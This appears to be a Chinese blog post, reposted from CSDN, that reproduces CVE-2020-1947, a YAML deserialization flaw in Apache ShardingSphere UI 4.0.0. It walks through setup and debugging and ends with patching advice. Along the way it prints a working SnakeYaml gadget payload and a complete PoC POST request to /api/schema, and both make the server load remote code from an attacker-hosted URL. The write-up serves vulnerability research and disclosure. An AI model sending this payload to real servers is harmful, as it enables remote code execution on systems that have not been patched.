[CVE-2020-1947]Apache ShardingSphere UI YAML RCE

复现方法参考:
https://github.com/apache/incubator-shardingsphere/tree/master/shardingsphere-ui

git clone https://github.com/apache/incubator-shardingsphere.git
cd incubator-shardingsphere/shardingsphere-ui/
mvn clean package -Prelease

花费时间太长…
使用另外一种:

wget https://mirror-hk.koddos.net/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
tar zxf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
cd apache-shardingsphere-incubating-4.0.0-sharding-ui-bin
bin/start.sh

环境搭建参考:
[Shardingsphere]sharding-ui的安装与使用
PoC代码:
https://github.com/shadowsock5/ShardingSphere_CVE-2020-1947

下载zookeeper:
https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
安装zookeeper,修改zoo.cfg,然后启动在2181端口。
一定要启动zookeeper,否则登陆的时候会出现403:
在这里插入图片描述
启动zookeeper之后:
在这里插入图片描述

然后要添加注册中心,否则会提示这种错误:No activated registry center!
注册成功之后:
在这里插入图片描述

添加完注册中心之后,看看这个东西有哪些功能:
在这里插入图片描述
点了几下,也只有这里了。还愣着干啥!

添加一个测试之后发现响应了400,然后在lib包下搜索了一些关键的请求字段无果,只要从日志里看有没有打印堆栈信息:
找到这几个

java.lang.IllegalArgumentException: rule configuration is invalid.
        at org.apache.shardingsphere.ui.servcie.impl.ShardingSchemaServiceImpl.checkRuleConfiguration(ShardingSchemaServiceImpl.java:90)
        at org.apache.shardingsphere.ui.servcie.impl.ShardingSchemaServiceImpl.addSchemaConfiguration(ShardingSchemaServiceImpl.java:72)
        at org.apache.shardingsphere.ui.web.controller.ShardingSchemaController.addSchema(ShardingSchemaController.java:64)

这就够了,知道去哪里下断点了。

调试

lib\sharding-ui-backend-4.0.0.jar!\org\apache\shardingsphere\ui\web\controller\ShardingSchemaController#addSchema 下断点。

TL;DR

在lib\sharding-ui-backend-4.0.0.jar!\org\apache\shardingsphere\ui\servcie\impl\ShardingSchemaServiceImpl#addSchemaConfiguration 下断点,
在这里插入图片描述
50行,检查请求中name的值是否已经存在;
51行,检查请求中ruleConfiguration的值是否负责规则(后续分析得知要按照一定的格式写,我按照YamlMasterSlaveRuleConfiguration类的几个属性值的格式写然后检查通过了);
52行,解析dataSourceConfiguration字段值,使用yaml#load()进行反序列化操作,执行payload。

调试过程

咱先不知道payload怎么写,先测试一下:

扫描二维码关注公众号,回复: 10467825 查看本文章
POST /api/schema HTTP/1.1

{"name":"test schema","ruleConfiguration":"runleconfilg","dataSourceConfiguration":"datasource"}

在这里插入图片描述
(F7调试跟不到,就直接运行了。)
可以看到这里通过

org.apache.shardingsphere.core.yaml.engine.YamlEngine.unmarshal(data, YamlMasterSlaveRuleConfiguration.class)

这里的data是我们请求中ruleConfiguration的值runleconfilg

官方的commit应该是:
https://github.com/apache/incubator-shardingsphere/commit/7065af6ac03aebfdb81150f10dd1c2fc7798cff8
看一下新加的测试用例怎么写的:
https://github.com/apache/incubator-shardingsphere/blob/7065af6ac03aebfdb81150f10dd1c2fc7798cff8/sharding-core/sharding-core-common/src/test/java/org/apache/shardingsphere/core/yaml/engine/YamlEngineTest.java
大概知道了格式

Map<String, Object> actual = (Map<String, Object>) YamlEngine.unmarshal("password: pwd\nauthorizedSchemas: db1", Collections.<Class<?>>emptyList());

在这里插入图片描述
所以lib\sharding-ui-backend-4.0.0.jar!\org\apache\shardingsphere\ui\util\ConfigurationYamlConverter#loadMasterSlaveRuleConfiguration(String data)这一句:

YamlEngine.unmarshal(data, YamlMasterSlaveRuleConfiguration.class)

需要我们提供的data的格式是YamlMasterSlaveRuleConfiguration类的格式。
去找一个YamlMasterSlaveRuleConfiguration类的定义,有以下五个属性:
在这里插入图片描述
于是构造了以\n分割的数据:

"ruleConfiguration":"name: test_by_cqq\nmasterDataSourceName: test_by_cqq2\nloadBalanceAlgorithmType: test_by_cqq3"

果然那边讲输入赋值到各个属性里了。
在这里插入图片描述
看来原来这五个值都可以通过输入指定。
但是第五个不知道怎么构造,先构造前面四个吧,第三个是一个List注意一下:

name: 1\nmasterDataSourceName: 2\nslaveDataSourceNames: [1,2,3]\nloadBalanceAlgorithmType: 4\n

在这里插入图片描述
看来格式构造成功了,进入下一步了:

this.checkDataSourceConfiguration(dataSourceConfiguration);

这时候我们之前请求中设置的dataSourceConfiguration值为http://go8qz59dtwhxsgsh06vs7uds2j89wy.burpcollaborator.net/ssrf2,看看它怎么处理。
原来这一步还要进行

YamlEngine.unmarshal

操作,不过这次没有必须按照哪个类的格式unmarshal
在这里插入图片描述
继续跟进:
在这里插入图片描述
看到这里,发现进入了第三方库的领域,
在这里插入图片描述
就不继续跟了,这方面的API应该有一些教程,看看这里是干什么的。

Parse the only YAML document in a String and produce the corresponding Java object.

来自:http://javadox.com/org.yaml/snakeyaml/1.13/org/yaml/snakeyaml/Yaml.html#load(java.lang.String)

然后yaml反序列化之前应该也出过漏洞,
Java版本参考:
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
关于YAML的介绍:

YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写,是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。
在Java中,有一个用于解析YAML格式的库,即SnakeYaml。

Python版本参考:
https://www.mi1k7ea.com/2019/01/01/PyYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

SnakeYaml反序列化漏洞

原理:

因为SnakeYaml支持反序列化Java对象,所以当Yaml#load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

为了理解原理参考这篇博客,先搭建测试环境:

javac -cp C:\Users\Administrator\.m2\repository\org\yaml\snakeyaml\1.19\snakeyaml-1.19.jar YamlTest.java
java -cp C:\Users\Administrator\.m2\repository\org\yaml\snakeyaml\1.19\snakeyaml-1.19.jar;. YamlTest

(注意分割classpath在Windows中是用;,而linux中是使用:)

内容如下:

import org.yaml.snakeyaml.Yaml;

public class YamlTest {
	public static void main(String[] args) {
	//可触发反序列化漏洞的使用方式
	String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
                + "[[!!java.net.URL [\"http://127.0.0.1:8000/\"]]]]";
	Yaml yaml = new Yaml();            // Unsafe instance of Yaml that allows any constructor to be called.
	Object obj = yaml.load(malicious); // Make request to http://attacker.com
	}
}

(注意端口号后面的path/一定要加!)
这里的YamlTest是模拟的Yaml#load()的内容是用户可控的服务端漏洞程序。
在这里插入图片描述
Demo:
在这里插入图片描述

测试成功之后,测试ShardingSphere的服务:
最终的PoC请求为:

POST /api/schema HTTP/1.1
Host: 192.168.85.129:8088
Access-Token: <your valid token>
Content-Type: application/json;charset=utf-8
Connection: close
Content-Length: 285

{"name":"test schema","ruleConfiguration":"name: 1\nmasterDataSourceName: 2\nslaveDataSourceNames: [1,2,3]\nloadBalanceAlgorithmType: 4\n","dataSourceConfiguration":"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://192.168.85.129:8888/\"]]]]"}

在这里插入图片描述
虽然会响应400,
在这里插入图片描述
但是命令已经执行成功了。
在这里插入图片描述

影响版本

Apache ShardingSphere < =4.0.0

处置建议

  1. 安装最新版本,https://github.com/apache/incubator-shardingsphere/releases
  2. 修改admin默认密码(incubator-shardingsphere-4.0.0/sharding-ui/sharding-ui-backend/src/main/resources/application.properties),然后重启。

参考

发布了619 篇原创文章 · 获赞 107 · 访问量 105万+

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/104834342